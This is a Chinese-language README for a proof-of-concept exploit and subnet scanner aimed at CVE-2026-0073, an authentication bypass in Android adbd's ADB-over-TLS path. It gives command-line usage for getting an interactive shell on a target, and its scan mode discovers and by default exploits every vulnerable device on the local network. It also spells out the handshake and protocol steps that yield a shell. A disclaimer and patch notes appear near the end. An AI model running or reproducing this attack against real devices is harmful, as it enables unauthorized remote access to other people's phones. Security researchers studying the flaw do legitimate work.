针对 CVE-2026-0073 的概念验证漏洞利用程序和网络扫描器。该漏洞是 Android adbd 的 ADB-over-TCP 认证路径中一个严重的零点击、无交互远程代码执行漏洞。
该漏洞是 adbd_tls_verify_cert()(daemon/auth.cpp)中的一个逻辑缺陷,其中 EVP_PKEY_cmp() 被当作布尔谓词使用。当存储的 RSA 密钥与非 RSA TLS 客户端证书(EC P-256 或 Ed25519)进行比较时,该 API 返回 -1(类型不匹配),而 -1 在 C/C++ 中为真值。这会将跨算法不匹配提升为成功的主机密钥匹配——从而完全绕过认证。
技术细节来自 BARGHEST。
基础 PoC 代码源自 SecTestAnnaQuinn。
已在 Android 安全公告(2026 年 5 月)中修复。
| 属性 | 详情 |
|---|---|
| 攻击向量 | 网络(相邻 / 邻近) |
| 交互 | 无(零点击) |
| 获得的权限 | shell 用户(uid=2000),SELinux u:r:shell:s0 |
| 利用原语 | 通过 ADB 获得远程 shell 访问 |
| CVSS | 严重(9.8) |
从 shell 上下文中,攻击者可以检查系统属性、进程状态、日志、通知;安装和删除软件包;对可调试应用使用 run-as;并为进一步利用做准备。
| 文件 | 用途 |
|---|---|
adb_tls_auth_bypass.py | 单目标漏洞利用 PoC(原作者 SecTestAnnaQuinn,已修补校验和) |
adbt_scanner.py | 网络扫描器——发现易受攻击的设备并加以利用 |
requirements.txt | Python 依赖项 |
要使漏洞利用成功,目标 Android 设备必须满足:
adbd TCP 服务)/data/misc/adb/adb_keys 中至少有一个先前配对过的 RSA 主机密钥# 创建虚拟环境
uv venv
# 激活虚拟环境
source .venv/bin/activate
# 安装依赖项
uv pip install -r requirements.txt
依赖项:
当可选软件包缺失时,扫描器会优雅降级——它会发出警告并回退到替代方法(系统 ip 命令、nmap、TCP 连接扫描)。
直接攻击已知的易受攻击设备。
python3 adb_tls_auth_bypass.py 192.168.1.42 # 交互式 shell
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
或通过扫描器:
python3 adbt_scanner.py --host 192.168.1.42 # 交互式 shell
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
扫描本地网络以发现易受攻击的设备,并利用所有确认的目标。
# 完整扫描:mDNS → ARP → 端口扫描 → ADB 探测 → 利用
python3 adbt_scanner.py --scan
# 在所有易受攻击的设备上运行特定命令
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# 仅侦察——发现但不利用
python3 adbt_scanner.py --scan --no-exploit
# 扫描多个端口
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# 覆盖检测到的子网(多宿主主机、特定范围)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# 为慢速网络调整超时
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# 延长 mDNS 监听窗口
python3 adbt_scanner.py --scan --mdns-timeout 60
# 跳过特定发现阶段
python3 adbt_scanner.py --scan --no-mdns # 跳过 mDNS,仅 ARP
python3 adbt_scanner.py --scan --no-arp # 跳过 ARP,仅 mDNS
--scan 扫描网络以发现易受攻击的设备并加以利用
--host HOST 直接单目标利用
--port PORT --host 模式的 ADB 端口(默认:5555)
--cmd COMMAND 要运行的 shell 命令
-v, --verbose 详细日志输出
--mdns-timeout SECONDS mDNS 监听时长(默认:30)
--ports PORTS --scan 模式下的逗号分隔端口(默认:5555)
--subnet CIDR 覆盖检测到的子网(例如 192.168.2.0/24)
--connect-timeout SECONDS TCP 连接超时(默认:2.0)
--probe-timeout SECONDS ADB 探测超时(默认:3.0)
--arp-timeout SECONDS ARP 扫描超时(默认:3)
--no-mdns 跳过 mDNS 发现
--no-arp 跳过 ARP 扫描 + 端口扫描
--no-exploit 在 ADB 协议探测阶段后停止
┌─────────────────────────────────────────────────────────────┐
│ 1. 子网检测 — netifaces → ip route → socket 技巧 │
│ 2. mDNS 监听器 — _adb-tls-connect._tcp(默认 30 秒) │
│ 3. ARP 扫描 — scapy.arping → nmap -sn │
│ 4. 端口扫描 — 对每个主机:端口进行 TCP 连接 │
│ 5. ADB 协议探测 — 发送 CNXN,分类响应 │
│ │
│ STLS → 易受攻击(继续利用) │
│ AUTH → 传统 ADB 认证(不涉及此 CVE) │
│ CNXN → 开放,无需认证(已可访问) │
│ NO_ADB → 不是 ADB 服务 │
│ │
│ 6. 利用 — TLS 升级 → 认证绕过 → shell │
└─────────────────────────────────────────────────────────────┘
mDNS 是最准确的识别方法:当无线调试已配对时,Android 会明确广播 _adb-tls-connect._tcp。ARP 扫描 + 端口扫描作为兜底方案。
阶段 1 — 明文 ADB
客户端 → CNXN(payload="host::features=...")
设备 → STLS (要求升级到 TLS)
阶段 2 — 使用跨算法客户端证书的 TLS 1.3
客户端 → STLS 回复
客户端 → TLS 1.3 握手 + EC P-256 客户端证书
设备调用 adbd_tls_verify_cert():
known_evp = 来自 /data/misc/adb/adb_keys 的 RSA 密钥
evp_pkey = 来自客户端证书的 EC P-256 密钥
EVP_PKEY_cmp(known_evp, evp_pkey) → -1(类型不匹配)
if (-1) → verified = true ← 缺陷:-1 为真值
阶段 3 — TLS 后的 ADB 服务层
客户端排空设备 CNXN(传输已在线)
不发送主机 CNXN(会触发 handle_new_connection 踢出)
客户端 → OPEN(local_id, window=32MB, payload="shell:\x00")
设备 → OKAY → shell 流已建立
shell(uid=2000)上下文。内核入侵、root 访问和硬件支持的密钥库密钥需要额外的提权。/data/misc/adb/adb_keys 中至少有一个 RSA 主机密钥。刚重置且已启用无线调试但从未配对的设备不易受攻击。AUTH 而非 STLS,不受此 CVE 影响。EVP_PKEY_cmp 检查改为要求精确的 == 1 返回值。本软件仅供教育和授权安全研究目的使用。本仓库中的工具和代码旨在帮助安全专业人员、研究人员和设备所有者:
您不得使用本软件:
在大多数司法管辖区,未经授权访问计算机系统属于违法行为,可能导致刑事和民事处罚。作者和贡献者对本软件的使用不当、损害或由此产生的法律后果不承担任何责任。
负责任地使用。了解您的目标。获得许可。
CC0 1.0 通用 — 不保留任何权利。
在法律允许的范围内,作者已放弃对本作品的所有版权及相关或邻接权利。
| 软件包 | 使用者 | 必需? |
|---|
cryptography | 两个脚本(EC 证书生成、TLS) | 是 |
netifaces | 扫描器(子网检测) | 推荐 |
zeroconf | 扫描器(mDNS 发现) | 推荐 |
scapy | 扫描器(ARP 扫描) | 推荐 |